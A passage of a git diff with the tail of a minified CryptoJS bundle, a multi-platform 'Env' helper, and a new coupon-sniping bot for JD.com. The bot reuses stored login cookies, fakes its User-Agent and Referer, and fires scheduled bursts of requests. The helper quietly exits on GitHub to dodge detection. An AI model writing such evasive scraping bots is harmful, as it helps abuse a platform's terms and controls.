106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_speedcoupon.js b/jd_speedcoupon.js new file mode 100644 index 0000000..272a931 --- /dev/null +++ b/jd_speedcoupon.js @@ -0,0 +1,178 @@ +/* +极速版抢卷 + +============Quantumultx=============== +[task_local] +#极速版抢卷 +58 59 6,9,14,17,20 * * * jd_speedcoupon.js, tag=极速版抢卷, enabled=true +================Loon============== +[Script] +cron "58 59 6,9,14,17,20 * * *" script-path=jd_speedcoupon.js,tag=极速版抢卷 +===============Surge================= +极速版抢卷 = type=cron,cronexp="58 59 6,9,14,17,20 * * *",wake-system=1,timeout=3600,script-path=jd_speedcoupon.js +============小火箭========= +极速版抢卷 = type=cron,script-path=jd_speedcoupon.js, cronexpr="58 59 6,9,14,17,20 * * *", timeout=3600, enable=true + */ +const $ = new Env('抢极速版全品卷5-2'); +const moment = require('moment'); +//进容器安装依赖: npm install -g moment +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 30 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action?'; +let wait = ms => new Promise(resolve => setTimeout(resolve, ms)); +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + await wait(100) + for (let j = 0; j < randomCount; ++j) + for (let i = 0; i < 1; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + console.log(`*********京东账号${$.index} ${$.UserName}*********`) + $.isLogin = true; + $.nickName = ''; + message = ''; + await qiang(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function qiang() { + await exchange() +} + +function exchange() { + return new Promise(resolve => { + $.post(taskUrl('functionId=lite_newBabelAwardCollection'), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} user/exchange/bean API请求失败,请检查网路重试\n`) + } else { + console.log(moment().format("YYYY-MM-DD HH:mm:ss.SSS")); + console.log(data); + if (safeGet(data)) { + data = JSON.parse(data); + console.log(`抢券结果:${JSON.stringify(data)}\n`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `https://api.m.jd.com/client.action?functionId=lite_newBabelAwardCollection`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + 'origin': 'https://pro.m.jd.com', + "Referer": "https://pro.m.jd.com/jdlite/active/3H885vA4sQj6ctYzzPVix4iiYN2P/index.html?lng=106.476617&lat=29.502674&sid=fbc43764317f538b90e0f9ab43c8285w&un_area=4_50952_106_0", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + }, + body: 